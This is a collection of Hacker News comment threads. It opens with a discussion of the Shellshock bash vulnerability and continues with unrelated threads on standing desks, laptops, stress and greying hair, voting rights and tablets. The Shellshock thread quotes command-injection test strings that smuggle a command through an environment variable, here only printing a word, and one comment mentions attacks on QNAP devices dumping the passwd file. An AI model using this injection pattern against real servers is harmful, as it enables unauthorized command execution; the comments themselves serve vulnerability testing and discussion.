        env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all.

So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.

Or is this bug more serious?

<comment><USER86> There are many network daemons besides httpd which, if they delegate request handling to any other process or system functionality, may:

        1. Invoke bash somewhere in the call stack
        2. Pass request data via environment variables

If both of these are true, then the daemon is presumed vulnerable. You may still be vulnerable if (2) is false (by design) yet the attacker is able to set environment variables.

CGI / Apache / httpd is the obvious vector, but don't be lured into complacency.

</comment></comment><comment><USER87> I tried the vuln on win-bash but nothing so far, it just doesn't give an error and doesn't echo out anything..

</comment><comment><USER88> Trying anything against QNAP seems always to dump passwd file to /cgi-bin/dump

</comment><comment><USER89> Excellent, a comprehensive write up on the issue. Exactly what I was looking for.

</comment><comment><USER90> Is anyone able to get the echo test to pass after updating AWS bash?

<comment><USER91> I updated a handful of machines running an Amazon Linux AMI this morning and they passed the standard echo test after sudo yum update

</comment></comment><comment><USER92> This is why I don't run Apache on my servers. Too many crufty old plugins designed in the days of peace and love.

Give me servers running under JVM that do the focused few things they do very, very well.

</comment><comment><USER93> mmm, just checked a couple of servers and found suspect activity :(

Also this test for vulnerability seems more accurate:

x='() { :;}; echo vulnerable' bash

</comment><comment><USER94> Can you test for this using curl?

</comment><comment><USER95> Thanks for posting this.

</comment><comment><USER96> How about installing zsh and making that the default shell? Is that enough?

<comment><USER97> zsh is also vulnerable. (it's a bash derivative)

<comment><USER98> Can you show example code exploiting zsh? I haven't seen such, nor found such:

      » V='() { :; }; echo busted' zsh -c "echo hi"
      hi

But:

      » V='() { :; }; echo busted' bash -c "echo hi"
      busted
      hi</comment></comment></comment>


GeekDesk - <AUTHOR> http://www.boingboing.net/2010/11/05/geekdesk.html <comment><USER3> If you're just looking for something to put a laptop on while standing, an adjustable music stand works nicely.

</comment><comment><USER4> Here's to hoping one day there will be a large open-source DIY plan community. The $500 price tag is something I can't justify, but I would love something similar.

</comment><comment><USER5> I have one of these desks. I built a custom top for it so just bought the frame. 500 dollars for the frame is a lot, but it's one of the only frames I was able to find that had a large range of adjustment.

</comment><comment><USER6> The commentors' opinions are the most valuable part of this article - <USER2> piece itself almost reads like a paid advertisement.</comment>


Ask HN: What are companies such as Dropbox looking for in new grads? - <AUTHOR>

I'm in my final year of CS and I'd just like some advice on what sort of qualities companies such as Dropbox look for in new grads. <comment><USER2> [https://www.dropbox.com/jobs](https://www.dropbox.com/jobs).

They hire for a wide variety of roles with some quite specialised knowlededge. I would expect they do not want anything different from the big tech companies.

Core CS concepts and maybe some information of the projects you have worked on while in college</comment>


FaceBook Engineering: Join Optimization in Apache Hive - <AUTHOR> http://www.facebook.com/note.php?note_id=470667928919&id=9445547199

<comment><USER2> Duplicate:

<http://news.ycombinator.com/item?id=2009696>

No comments.

</comment><comment><USER3> That is the weirdest logo I have seen in a while.</comment>


Ask HN: Which MacBook Pro model is best for iOS app and web development? - <AUTHOR>

13-inch rMBP is light and very mobile but the 15-inch screen makes it very viable. For some iOS app development and some web development which model of the latest rMBP would fit better?
Memory upgrade to 16GB seem to be a no-brainer. The extra ~ $500 for the 15-inch is something that's worth to consider. Don't wanna spend on something that's not really needed.
Which of the latest model MBP would you recommend for a reasonable iOS and web development? <comment><USER2> Are you going to be doing graphic/web design stuff yourself?

If Yes ----> Buy a 15" rMBP

If NO -----> Go to a store, look at a 13" laptop.

Is it too small?

If Yes ----> Buy a 15" rMBP

if NO ----> Buy a 13" rMBP

<comment><AUTHOR> Yes, I do some design work as well and I used to live with a 13" MacBook hooked up to a 24" external monitor and it worked fine for me but wanted to get away from that monitor dependency.

</comment></comment><comment><USER3> I'm currently with rMBP 13 and I'm using it mainly for web development, as UI/UX stuff also.

The screen size is not an issue for designing; you can switch to more space, e.g. when designing I'm switching to 1680x900 and don't feel claustrophobic as on my previous MPB's 13".

I had high-resolution & anti-glare MBP 15", just before buying the retina, so I'm comparing it with the 13" rMBP and actually the retina feels more comfortable for designing stuff. Weird, heh?

I would max out the ram and SSD and go for the 13" model.

<comment><AUTHOR> Thanks for the great advice. Eventually that's what I did, maxed out the RAM to 16GB and upgraded the SSD to 256GB and compromised on the 13" screen size. Apple Live Chat person said try this and see how you feel and if not then upgrade to 15" and I thought that kind of make sense. I hope I find 13" comfortable; otherwise I have to shell out another $500 for the 15" similar spec.

</comment></comment><comment><USER4> The big benefit of a small monitor is that in the long term is forces you to be uber productive with the keyboard. You'll probably get more short term value from a 15" but more long term value from a 13". My keyboard mojo went through the roof when I switched from a 17" to a 13".

</comment><comment><USER5> Something to consider: Xcode's UI, particularly for editing Interface Builder stuff, really benefits from a larger screen.

On a smaller screen (13" or 11"), you'll find yourself constantly toggling panels on/off so that you can see what you're working on.

<comment><AUTHOR> I clearly get what you meant, been there and toggled panels enough to get away with it. I'm counting on the retina display and higher resolution to get around a portion of this overhead.

</comment></comment><comment> workhere-io For web development a MacBook Air will do just fine, even with 4 GB RAM. Screen size shouldn't matter, you're probably going to hook the laptop up to an external monitor anyway.

</comment><comment><USER6> for development, i think they're all the same. I prefer the 13" because its more portable, or the Air for better battery life

For design, the 15" would be nice</comment>


How the stress of fight or flight turns hair white - <AUTHOR> https://www.nature.com/articles/d41586-019-03949-8 <comment><USER2> There are a few comments about how to decrease stress. From personal experience, asking "How can I be less stressed?" is like asking "How can I be happy?" There's not really a great answer... but you can look at the things that would make you _unhappy_ and avoid them. So here's "How can I become MORE stressed?"

1\. Buy as much nice stuff as you can – it's okay if you go into debt because it'll persuade you to work harder!

2\. Since you're so busy, accept that you don't have time to exercise. You can get around to it in the future (once you're rich!)

3\. Stay up as late as you can. After all, you can sleep when you're dead. Caffeine is your friend.

4\. Be too lazy to make todo lists or mark anything on your calendar.

5\. At least once per week, compare yourself to everyone else. It's the only way to judge how you're doing.

6\. Do everything yourself. You don't need to hire that tax accountant. You don't need to ask for help.

7\. Sell your time to [Company Name Here]. Yeah, they're hard to work for, but they might make you rich.

<comment><USER3> This reminds me of a CGP Grey Video "How to maximize misery"

[https://m.youtube.com/watch?v=LO1mTELoj6o](https://m.youtube.com/watch?v=LO1mTELoj6o)

</comment></comment><comment><USER4> I've heard that stress can cause a lot of issues in one's body. Grey hair, diabetes, even cancer?

What should I do? Should I drop everything to live a stress-free life in Thailand? Should I do meditation everyday? What are the ways for someone to live a stress-free life :)?

<comment><USER5> > Should I drop everything to live a stress-free life in Thailand?

That sounds like it would be a really stressful thing to do...

You probably have a number of good ways to reflect on your priorities, but its very difficult for someone else to tell you how to reflect on those. Most people can only speak to what worked for them, which depends on where they were before, etc.

IMO to start:

Wake up way earlier than you have to. (This changed me into a morning person.) When you have 1-2 hours where you can just sit there calmly, drinking coffee, and not be rushed, you feel ten times better. Many mornings me and my wife wake up and just sit by the fire (that we restart to heat our home) and make coffee. Sometimes she will write, or we will both read, or talk, etc, but often we just sit together for a while and relax. Later on, you can work on being ~productive~ in the a.m. too if you please.

Invite ritual into your life. Spend a time making your home a place you would want to be. A house is a place for having coffee, having conversation, having memories and symbols that give you feeling or inspiration (pictures, objects), how much of their designs do that? How much yours?

<comment><USER6> How early do you go to bed? If I woke up 1.5 hours before I need to (6:50 AM, to get kids ready for school), that would mean I'd be getting up at 5:20. Do you seriously start heading to bed at 8:30pm? That doesn't seem realistic to me at all.

<comment><USER5> Last year for a while I was doing that (going to bed 8:30 to 9). My house is mostly heated by wood stove so last year I started waking up early to restart the fire and it just stuck.

This year I'm getting up a little later (maybe average 6:30, to be out the door by 8:30), mostly because I am writing more at night this winter, and its not as cold. I think in the summer I'll switch to writing in the morning more and go back to waking up 5:30-6.

Years ago, I would go to bed at 12-2am. I always used to say most of my best work was done between 10pm-2am. I much prefer it this new way, though past me would have a hard time believing it!

<comment><USER6> How much of this is just the natural consequences of aging? Humans' sleep patterns do tend to shift as you age - teens and 20s naturally want to go to bed and get up later, and elderly folks go to bed early and wake up early. What you're experiencing might just be due to your naturally changing circadian rhythms.

<comment><USER5> That's possible, but it seems unlikely, as it was a conscious decision made in one day when I moved/necessitated by heating. If it was aging, I would expect it to at least be gradual, or unconscious, or something.

<comment><USER7> I'll second this finding. I'm not getting younger, sure... but I can still go to a party convention and average 3hrs sleep a night for 5 days, or "decide" to play Beat Saber until 2AM.

The reality is that if it's important, you'll make time to go to bed earlier. It takes a while for the body to hit restful sleep so early (and using blackout curtains / dawn clocks have been pivotal). For me it was wanting to start working out in a particular morning class... I immediately shifted from midnight to 9:30-10 to give myself the extra time in the morning.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> I'm constantly stressed. Therapy and weightlifting help but don't solve it. I always find something to be stressed about. For years, I was stressed in school, then graduated and started being stressed about being lonely. For the last year, I always thought about how lonely I am, so my therapist suggested me to get a pet. I got a cat. Now I don't feel lonely, but every time I'm not home, I just worry that something bad will happen to the cat. I always worry that he is sick, or jumped somewhere and injured himself. Or that there is a fire in my house and my cat is grilling.

<comment><USER9> Sounds like you have an anxiety disorder to me. Stress is situational. Anxiety is stress when it's not appropriate.

<comment><USER10> I experience a lot of what OP describes but obviously am not OP. It's tough though, who wants to take the anti-anxiety medication that we don't really understand every day for the rest of their life? Just for you to eventually not need it? Why would I all of a sudden not need it? Doesn't even make sense.

My doctor always tries to get me to take it but it just seems like a bandaid. Granted, I don't claim to be able to fix it myself either, but the last thing I want to do is mess with my brain chemistry more, especially since I'm starkly aware of the arrogance of humanity (i.e. nobody really knows what is actually going on).

EDIT: I feel like baby(user comment below) might be on to something. I constantly am in fear of something bad happening and stress about that far more than I stress about things that have already happened. But I do experience both.

<comment><USER11> imo, some people are clearly in situations where continuous medication is worth the trade-offs...

For milder cases, medication can disrupt negative feedback mechanisms. eg Adderall didn't cure my ADHD but a few months at a high dose gave me momentum to build organizational habits and understand what "normal" meant. Now I just take the occasional low dose in response when life gets hectic to stay on top of what matters.

</comment></comment></comment></comment><comment><USER12> Interesting article.

In my dad's side of the family, we seem to have an interesting inherited trait. We don't really have any balding, but the men (including me) go grey very early in life. I'm turning 40 in a couple of days but my beard has turned almost completely grey by now and I have a lot of grey in my hair. My eyebrows are holding on though.

My dad and his brothers were all mostly grey by the end of their 30's as well.

Interestingly, when my dad got cancer in his mid 50's and started undergoing radiation treatment, the hair on his chin started growing back brown. By the time he passed away about 2 years after, that part of his beard was his original hair color from when he was young.

One hypothesis is that perhaps due to the damage being done from the radiation to healthy tissue encouraged stem cells to migrate back to that area and had the effect of regenerating the melanocytes in the follicles in the area.

<comment><USER13> Same. I come from a long line of prematurely gray haired folks. I'm 42 and my hair and beard are almost entirely white. I definitely have a problem with stress, though given the number of family members (distant and otherwise) that have the same coloring I suspect there's more to it than just that.

</comment></comment><comment><USER14> It is not direct heavy constant stress that causes the damage to the stem cell, but the heightened reaction in Fight or Flight scenarios. This was all in the study. Being under constant stress, which is measured via cortisol did NOT cause the stem cell damage.

I look young for my age, at 44 I look far younger than my silver haired 43 year old brother. People say I am "chill" and "zen" but I bathe in stressful situations as an entrepreneur and independent consultant all day, everyday. I just don't get excited in high stress moments. I'm the guy in center of the storm when everyone is freaking out. It is certainly both part of my nature and learned, as I have worked on improving that over the years.

You can learn to not freak out, and even if it doesn't keep your hair dark and luxurious like mine, you will be better in lots of scenarios.

</comment><comment><USER15> I am satisfied knowing that I've gone grey raising my daughter and not for some godforsaken software project.

</comment><comment><USER16> How can we live stress free lives in an inherently stress driven work environment and life. We are constantly impressed by others more accomplished and drive ourselves to try to attempt to reach their success. This is hard, plus we have social and money issues that drive us to worry. All of these are not easy to solve, and lead to a lot of daily stress.

<comment><USER17> Hence the invention of alcohol.

<comment><USER18> Which, if used sans moderation, causes _further_ aging.

</comment></comment></comment><comment><USER19> I wish my hair had gone grey instead of retreating from my head at 21.

</comment><comment><USER20> Turning 30 stole my head hair, and this explains the grey chest hairs when my kid showed up...

<comment><USER21> I gotta know, did it all fall out at the same time or was it just the last few strands?

<comment><USER20> Well, it didn't all fall out, but the forehead kept getting farther and farther back and I recall seeing an image of the top of my head and thinking "god that's awful" and have been shaving it off ever since. I could let what's there grow but... it's bad.

</comment></comment></comment><comment><USER22> Does poor sleep patterns intersect with stress? I don't feel much stress but between work, side projects and traveling, I feel a bit tired.

</comment><comment><USER23> I used to be an easily stressed person. I do get stressed even now but am acutely aware of it affecting the body and mind. I feel that a lot of people don't even know that they are stressed. It used to take many minutes of sitting still for my mind to relax. At that point some of my muscles would automatically relax. Only at that instant would I even become aware of it being tight the whole day.

</comment><comment><USER24> I'm immediately reminded of the Crash Test Dummies song: [https://www.songfacts.com/facts/crash-test-dummies/mmm- mmm-m...](https://www.songfacts.com/facts/crash-test-dummies/mmm-mmm-mmm-mmm)

</comment><comment><USER25> I think it's really important to learn how to laugh. Laugh every today. Laugh at dumb things. Don't get cardiovascular disease or creases in your face or go bald because you're too proud to have a sense of humor.

I need to work on this myself.

<comment><USER26> I'd rather be bald than laughing & chattering all the time like the rest of them.

<comment><USER27> That actually made me laugh. Thanks for saving my hair

</comment></comment></comment><comment><USER28> This was discussed at [https://news.ycombinator.com/item?id=22123481](https://news.ycombinator.com/item?id=22123481)

</comment><comment><USER29> Data point - of my close friends in our 20s the stressed founders were the ones to go bald. It could be genetics, but it's interesting.

</comment><comment><USER30> My hypothesis is that both stress and depression vastly speed up aging, hair being the least of the problems. It is good to see research about this subject.

</comment><comment><USER31> My mother was right. I am baldy because if stress. Although all my maternal uncles were bald as a lightbulb. That probably didn't help.

<comment><USER32> This article says it causes greying, not balding

<comment><USER31> Hah. Yeah. I read it now.</comment></comment></comment>


This Tuesday: North Korea Denuclearizes, Normalizes Relations with South - <AUTHOR> http://archive.is/glNww <comment><AUTHOR> It's going to happen: [https://www.youtube.com/watch?v=iR6svECI1Ig](https://www.youtube.com/watch?v=iR6svECI1Ig)

</comment><comment><AUTHOR> Flagged due to TDS: [https://news.ycombinator.com/item?id=17282237](https://news.ycombinator.com/item?id=17282237)</comment>


Every great company has been built the same way: bit by bit - <AUTHOR> http://www.fastcompany.com/46525/slowly-i-turnedstep-stepinch-inch

<comment><USER2> Joel Spolsky has an essay on fast vs. slow. It's thirteen years old at this point, but still worth a read, I'd say.

The takeaway of it is: Fast vs. slow isn't an absolute thing. It's about what your market is, and what kind of culture you want your company to have. You can be successful either way.

<http://www.joelonsoftware.com/articles/fog0000000056.html>

</comment><comment><USER3> TL;DR: "The new fast company isn't fast at all. It's gradual, slow, measured, and organized. It's making small bets. Which, it turns out, is the fastest way of all to get back to where you want to be."

As I work on building my startup it is great to have this reminder, it is about calculated actions that over time become more efficient. I have been working on celebrating the small successes and managing my expectations on a daily basis.

I am betting on the long-term compounding interest of my calculated actions, be it writing a line of code, talking and connecting with customers, getting advice from other founders or relaxing with a beer to recharge.

<comment><USER4> I find the article a little superficial, but there is an underlying truth that can be valuable: sometimes the best way to be great at something is simply to become better and better at that thing, rather than hoping one or three bold and brilliant choices will reap a windfall.

I would cite the Wright brothers as an excellent real life example. They were very far from the brightest, best educated, hardest working, or best-financed. But they did do a lot of careful, incremental improvements. And most importantly, they chose to improve themselves: they decided that learning to become skilled at both flying and building gliders would be an important step, before daring to strap on a powerful engine to see what happens.

</comment></comment><comment><USER5> I don't disagree with the general argument that degradation happens gradually, and 'truly successful' companies are built gradually. That said, I hate statements like this: "A better strategy is to start doing smaller investments with longer time horizons. Just like chili, low and slow is the way to maximum flavor."

Why? The taste of chili is maximized by cooking it slow.. but the taste of french fries is maximized by cooking them quickly. There's nothing inherently good about doing things slowly. So please give us some evidence that investors should be making smaller investments over longer horizons? Perhaps there's data to show that longer horizon VC investments provide higher risk-adjusted returns.. but I haven't seen it.. and Seth's statement to provide any sort of weight, it would have to be included.

Way too pseudo-intellectual for me with nice meaningless platitudes.

<comment><AUTHOR> I agree with your conclusion mostly, but can you name any examples of large investments with an immediate, greater return?

Not arguing, just looking for solid examples to go by.

<comment><USER5> That's the problem.. A few vivid examples shouldn't influence a view on this. Data should.

A little finance 101: The longer you hold an investment, the higher the return demanded. The riskier the investment, the higher the return demanded. To judge the wisdom of an investment strategy, one needs to weigh these against the potential return.

A successful small early investment (for example, Peter Thiel investing in Facebook in 2004) will return much more on a percentage basis than a successful large late investment (for example, Yuri Milner investing 200M in Facebook for 2% of the company in 2009), but they are also much risker and take longer to see a return. Even though Thiel made a billion dollars and Milner only made a few hundred million while investing 400x more money, based on these numbers alone it's hard to say which was a better investment on a risk-adjusted basis. We don't know what the expected value of each investment was (probability weighted terminal value of Facebook). We don't know what their cost of capital was (what else they could have been doing with the money). All of these matter.

My point is that it's hard to figure this stuff out. Real academics have a tough time coming up with definitive answers to these questions. Furthermore, the answer can change over time. The fact that chili tastes better when it's cooked slowly is of no consequence to this question.

</comment></comment></comment><comment><USER6> Reminds me of the chapter in Good to Great regarding the pushing of the flywheel:

"Good-to-great transformations look dramatic and revolutionary on the outside but actually are organic, cumulative processes on the inside. There is no single defining action, no grand program, no one lucky break or miracle moment. Sustainable transformations follow a predictable pattern of build up and breakthrough – like pushing on a giant, heavy flywheel. Average organizations follow the "doom loop" pattern. They try to skip buildup and jump immediately to breakthrough. Then, with disappointing results, they lurch back and forth, failing to maintain a consistent direction."

</comment><comment><USER7> Interesting read. As someone trying to build my own company it's nice to have Seth reminding us that the companies that have sudden surges in users is not the norm. For the ones that do have a sudden increase, most were working diligently for many months or years before.

This part rang particularly true for me: "The new fast company isn't fast at all. It's gradual, slow, measured, and organized. It's making small bets. Which, it turns out, is the fastest way of all to get back to where you want to be."

<comment><AUTHOR> Particularly interesting because this was written ten years ago!

The transparency of the web makes it easy to fall into the trap of believing that many of the recent successes of businesses was "overnight," but that's hardly ever the case. Tumblr was founded in 2007, started before that, and only sold recently. But who was fully aware of those years of work?

</comment></comment><comment><USER8> Some find it the Hard Way(TM) that most lucky breaks actually require hard work.</comment>


Antarctic penguins release an extreme amount of laughing gas in their feces - <AUTHOR> https://www.cnn.com/2020/05/19/world/king-penguins-laughing-gas-scn-trnd/index.html <comment><USER2> Summarizing the findings:

Penguin feces contain nitrogen, which is converted to N₂O, a greenhouse gas, by bacteria in the soil. This further increases the greenhouse effect as glaciers recede and more soil is exposed.

Direct link to study: [https://www.sciencedirect.com/science/article/pii/S004896971...](https://www.sciencedirect.com/science/article/pii/S0048969719352477)

</comment><comment><USER3> How did the butterfly effect go again? A penguin farts in Antartica, and you randomly burst out laughing uncontrollably?</comment>


Why Australia's tech sector keeps getting rolled in Canberra - <AUTHOR> https://www.brisbanetimes.com.au/business/companies/here-s-why-australia-s-tech-sector-keeps-getting-rolled-in-canberra-20190405-p51b5z.html <comment><USER2> Despite my frustrations with the way the sector is treated by our government, the article raises a point I hadn't really considered. Big Tech is considered essentially the only tech in Australia, so local stuff doesn't even rate consideration. So why would the government even care when it's mostly overseas companies anyway?</comment>


Ask HN: Indexing/Crawling the web? - <AUTHOR>

Are there any hackers here that have experience indexing/crawling the web? I am wondering if anyone has any data on the cost of the bandwidth to do so? Even if it was a text only crawl it seems like this could be costly and I have a couple of ideas that would involve me playing with data extracted from a crawl. I have no experience in this area so any information would be greatly appreciated! Thanks! <comment><USER2> Not sure if this helps but it could save you some time / money - <http://www.80legs.com> you should be able to set up a sample crawl for free to start to get a feel for the size of the dataset.

</comment><comment><USER3> It sounds like you're pretty green in this area, so I'll give you a few tips from what I've read.

* You may not be allowed to crawl everything, and your use of that data may not always be in line with sites' terms of service. Just be aware. * It is indeed an ungodly task to crawl the web. To do the whole thing, you'd probably need thousands of servers (to crawl in a reasonable amount of time). * 80legs offers you their crawling infrastructure using cloud based crawlers. Check them out.

What are you wanting to crawl / what ultimate use?

</comment><comment><USER4> make sure you respect robots.txt, including Crawl-delay:

[http://en.wikipedia.org/wiki/Robots_exclusion_standard#Crawl...](http://en.wikipedia.org/wiki/Robots_exclusion_standard#Crawl- delay_directive)</comment>


Google Drive CMS - <AUTHOR> https://github.com/benhartley/googcms

<comment><USER2> This is awesome! I want to use it and have been toying with building so,etching similar except using Dropbox. The one problem is that if it really is a solution for clients who send you information in all manner of outmoded or inconvenient ways I doubt it'll solve that problem. I've learned that clients don't learn and don't want to. It makes life easier to jus say "yeah sure" and do your job however you see fit. Regardless, this is a sweet project.

</comment><comment><USER3> Nice! Similar idea to ours: <http://restatic.binaryage.com>

</comment><comment><USER4> Reminds me of a comment posted years ago about Amazon: "tracking inventory isn't so hard, they just need a spreadsheet."

</comment><comment><USER4> Before someone jumps in to say nodejs is slow, be glad it isn't implemented in Google Apps Script.

<comment><USER5> I was under the impression that node was exceptionally fast? Am I missing something?</comment></comment>


Is America a democracy? If so, why does it deny millions the vote? - <AUTHOR> https://www.theguardian.com/us-news/2019/nov/07/is-america-a-democracy-if-so-why-does-it-deny-millions-the-vote <comment><USER2> It seems like Canada (for Federal elections at least) and most European countries have voter ID laws [0]. Notably, the UK does not; they scrapped government issued ID cards altogether in 2011([1]). I'm not sure why requiring ID to vote is so controversial in the US.

[0] [https://en.wikipedia.org/wiki/Voter_Identification_laws](https://en.wikipedia.org/wiki/Voter_Identification_laws)

[1] [https://www.gov.uk/identitycards](https://www.gov.uk/identitycards)

<comment><USER3> It's a vote suppression tactic when the IDs aren't trivially easy to obtain. A county in Wisconsin only issued them from a DMV that was only open on the fifth Wednesday of every month[1].

>That DMV service center is inside the Sauk City Community Center. And, sure enough, as Oliver's piece stated, it's open only on the fifth Wednesday of every month, from 8:15 a.m. to 4 p.m.

> The DMV doesn't list the actual dates, so we looked them up. The four fifth > Wednesdays in 2016 are in, as Oliver noted, March, June, August and > November.

[1] [https://www.politifact.com/wisconsin/statements/2016/feb/19/...](https://www.politifact.com/wisconsin/statements/2016/feb/19/john- oliver/office-provides-id-voting-one-wisconsin-burg-open-/)

<comment><USER4> So let's change the rules to make them more easily attainable, instead of throwing out the idea of something that we desperately need in this country.

<comment><USER3> Can you explain why the current system, under which voter fraud is astonishingly rare, is something we desperately need to change?

<comment><USER4> Astonishingly rare doesn't seem to be the case[1] There are examples all over the place, ignoring them doesn't make them any less real..

[1] [https://duckduckgo.com/?q=voter+fraud&t=ffab&ia=news&iar=new...](https://duckduckgo.com/?q=voter+fraud&t=ffab&ia=news&iar=news)

<comment><USER3> A random web search is cool, but how about a scholarly article on the topic? [http://www.projectvote.org/wp- content/uploads/2007/03/Politi...](http://www.projectvote.org/wp- content/uploads/2007/03/Politics_of_Voter_Fraud_Final.pdf)

> Most voter fraud allegations turn out to be something other than fraud. A > review of news stories over a recent two year period found that reports of > voter fraud were most often limited to local races and individual acts and > fell into three categories: unsubstantiated or false claims by the loser of > a close race, mischief and administrative or voter error.

Tellingly, the first hit in your search is for an article where the loser of a close race is making unsubstantiated claims about voter fraud.

</comment></comment></comment></comment></comment></comment><comment><USER5> A Mrs. Powel of Philadelphia asked Benjamin Franklin, "Well, Doctor, what have we got, a republic or a monarchy?" With no hesitation whatsoever, Franklin responded, "A republic, if you can keep it."

<comment><USER6> In the context of the classics (which Franklin would have been steeped in), a Republic is a form of government where citizens vote for qualified representatives to represent their interests and a Democracy is when you pick citizens by drawing lots to decide on who holds positions.

So the "we're a republic, not a democracy" line from people who want to argue for not letting people vote makes absolutely no sense.

<comment><USER7> What classical government had the right to vote for a representative? Rome? No. Only the elites could vote. Athens? Same story.

The old distinction between a republic and a democracy was elected representatives passing laws versus the citizens voting directly on laws themselves.

The U.S. is of course, a hybrid and has some republican elements and some democratic elements, but in the classical sense, at the Federal level, it is more of a republic than a democracy.

<comment><USER6> >What classical government had the right to vote for a representative? Rome? No. Only the elites could vote. Athens? Same story.

Citizens voted. The question is who gets to be a citizen, but once you are acknowledged as a member of the citizenry then you were entitled to have a say in the governance.

>The old distinction between a republic and a democracy was elected representatives passing laws versus the citizens voting directly on laws themselves.

This is straight up wrong. Read any of the classics from Aristotle's Constitution of Athens to Plato's Republic. Republicanism is representation of the popular will by a gentry or elite and democracy is literally rule by the people through drawing of lots.

It's just so transparent when people make these tenuous arguments to justify disenfranchizing people who will be impacted by laws from having a say in those laws. This is the last refuge of people who want to enable tyranny and oppression.

</comment></comment></comment></comment><comment><USER8> No, it's a republic.

<comment><USER9> Is it a fruit? No, it's a banana.

<comment><USER8> Is a tomato a fruit or a vegetable? Is probably a more accurate metaphor

</comment></comment></comment><comment><USER10> Constitutional Republic, so no, we are not a democracy, and furthermore the men who founded this nation and established the government thereof rather despised democracy as tyranny of the ignorant masses.

<comment><USER11> > Constitutional Republic, so no, we are not a democracy

"Constitutional Republic" and democracy are orthogonal rather than mutually exclusive descriptions. All "Constitutional Republic" means is that it _isn 't_ a monarchy and that it has some fundamental governing law. Being a (direct or indirect/representative) democracy is perfectly compatible with that. The foundational concept of government by consent of the governed and of government--as it would be elegantly described somewhat later--"of the people, by the people, and for the people" embraced by the founders is exactly that of representative democracy. The actual specific form written into the Constitution both clearly intends something very much like representative democracy while not quite being one.

> and furthermore the men who founded this nation and established the > government thereof rather despised democracy as tyranny of the ignorant > masses.

They despised both direct and unconstrained democracy, but while the pragmatic compromise of the Constitution clearly fell short of this, many of them certainly embraced in principle limited government by consent of the masses expressed through a combination of equal suffrage in approval of a basic law and equal suffrage in electing representatives to the government under that law, or, in the language of modern political science, Constitutionally-limited representative democracy.

</comment></comment><comment><USER12> Why has this post been flagged?

This is an important issue, if it's contentious then who is contending it? Am I missing something?

</comment><comment><AUTHOR> From the article: "Rather than being ranked with other major western democracies, the US falls lower down the list alongside countries like Kosovo and Romania."

[https://www.electoralintegrityproject.com](https://www.electoralintegrityproject.com)</comment>


Ten Theses on Tablets - <AUTHOR> http://www.tbray.org/ongoing/When/201x/2010/10/09/Theses-on-Tablets <comment><USER2> Good article.

You know how people tend to forget their stupid ideas over time and think they're smarter? I just want to publicly own that I thought tablets weren't going to be a big deal before the iPad launch. I thought Apple fans would buy it, but then it wouldn't take off. I was mistaken.

I'm already starting to re-write my memory with, "Oh yeah, of course it was going to be big" so I wanted to publicly own my poor prediction before my mind conveniently rewrites itself.

<comment><USER3> I think you're in good company. My thought process timeline:

Before Apple announces: Tablets are dead. Typing is just too convenient, and I don't want an underpowered laptop (which a lot of tablets were, with touch screens).

During the 1st half of the Apple announcement: This thing is ugly, and is really just a big iPhone. FAIL.

During the 2nd half of the Apple announcement: Since when did the Apple tax become the Apple discount? At those prices, I'll take two! And it slowly began dawning on me that it being a "big iPhone" was actually genius. How did so few people grok that this was the exact right thing to do? Now it's just common knowledge that upsizing your touch phone OS is a smart thing to do.

After getting my first one: Two heavy, but it was clear that at 7" the iPad is with me everywhere. Even at 10", while not ideal for me, I can see it being great for a lot of people.

The evolution on how people feel about the tablet is an interesting and complex one. I give Apple the credit for making me a believer.

<comment><USER4> Your timeline made me smile and remember my experience on iPad introduction day.

5 minutes before keynote: "Well one thing we can be sure of, it's not just gonna be a big iPhone! haha"

During: "Hmmmm... it's really just a big iPhone? Kinda cool for some people I guess, but it's certainly not for me."

Later that evening, after thinking about it for a while: "Oh, of course! A big iPhone! What else would it be?"

</comment></comment></comment><comment><USER5> I can't decide if Apple is going to come out with a 7" tablet or not. There's definitely a place for something that fits into a labcoat but offers a lot more screen real estate than a phone.

On the con side, there's also something to be said for concentrating one's efforts on just a few offerings.

<comment><USER6> I disagree that Apple are going to come out with a 7" iPad in the short or even medium term. Years from now? Who knows?

I think the divide with form factors is: does it fit in your pocket? 3-4" phone? Yes. 10"? No. 7"? Still no.

I believe there are so many more use cases for 10" that Apple didn't just pick that number out of a hat. For example, I own a Sony Reader (6"). Great for reading novels. Terrible for technical books (and, by extension, textbooks).

I can hold my iPad on one hand. Thing is though, I don't. I really don't know what the use case is for holding it one handed. It's always sitting on a table or desk, on my lap or on my chest (if lying down).

<comment><USER7> I've recently acquired a... satchel? Man bag? Okay, it's basically a purse. My iPad is slightly too big to fit inside comfortably. A 7" tablet would probably be the perfect size for that.

<comment><USER8> I've recently bought a new wallet. The iPad doesn't fit in that either...

<comment><USER7> If we assume that most people want the largest screen that they can comfortably carry around with them, there are a lot of people who could fit 7" in a purse-like sack, but can't fit the 10" iPad.

</comment></comment></comment></comment></comment><comment><USER9> Let's assume the device is focused on creativity - drawing and writing (also assume the device records pen input well and has a retina screen):

10" tablet screen size ~~ display size of a legal pad.

7" tablet screen size ~~ display size of a large todo pad.

I like using a legal pad already for drawing/note-taking, but if the fact that it's electronic let's me express what I want with less screen space, It may be worth getting something smaller.

###

I also can't get around the author's idea of carrying an EVO in my pocket. Especially If I plan to use the same device while running/cramming into jeans/etc. It's definately a great purse-able phone for women though.

<comment><USER10> What kind of legal pad are you talking about? My iPad screen is about half the size of a piece of paper, so that would be a junior legal pad at best.

<comment><USER4> I had to hold up a piece of letter sized paper to my iPad to verify this. Funny, I think of the iPad as more like 80% of the size of a piece of paper, but in actuality, you're right: it's more like 50%.

<comment><USER9> doh, I meant a steno pad ~~ ipad. They measure 6" x 9" - pythagorean says this is about a 10.8" screen. Ipad screen size is 9.7".

pic of steno pad: <http://content.etilize.com/500/1010042931.jpg>

</comment></comment></comment></comment><comment><USER11> I've completely stopped using my laptop at home in favor of the iPad. Tablet is for casual browsing and eBooks, the laptop is for "real work". This distinction helps quite a bit with the work-life balance.

Now tablets are obviously quite a new form factor, and so I'm waiting with interest on when there will be actual "work apps" for one of them. I've already done a bit of on-device software development with my N900 phone (there is even Git available there!), but the input devices can be limited for this. Maybe a win for "special character -free" languages like Python and Genie ;-)

</comment><comment><USER12> Copenhagen has a wrong part?

</comment><comment><USER6> When the iPad was announced I was on the fence but what became apparent rather quickly was that there was an clear divide in opinion between those who had used the device and those that hadn't. Many pundits argued against its success on the basis that it couldn't replace any existing niche. While true, it created its own niche and replaced several devices for _some_ of their functions.

But in no way did I predict the runaway success of the iPad.

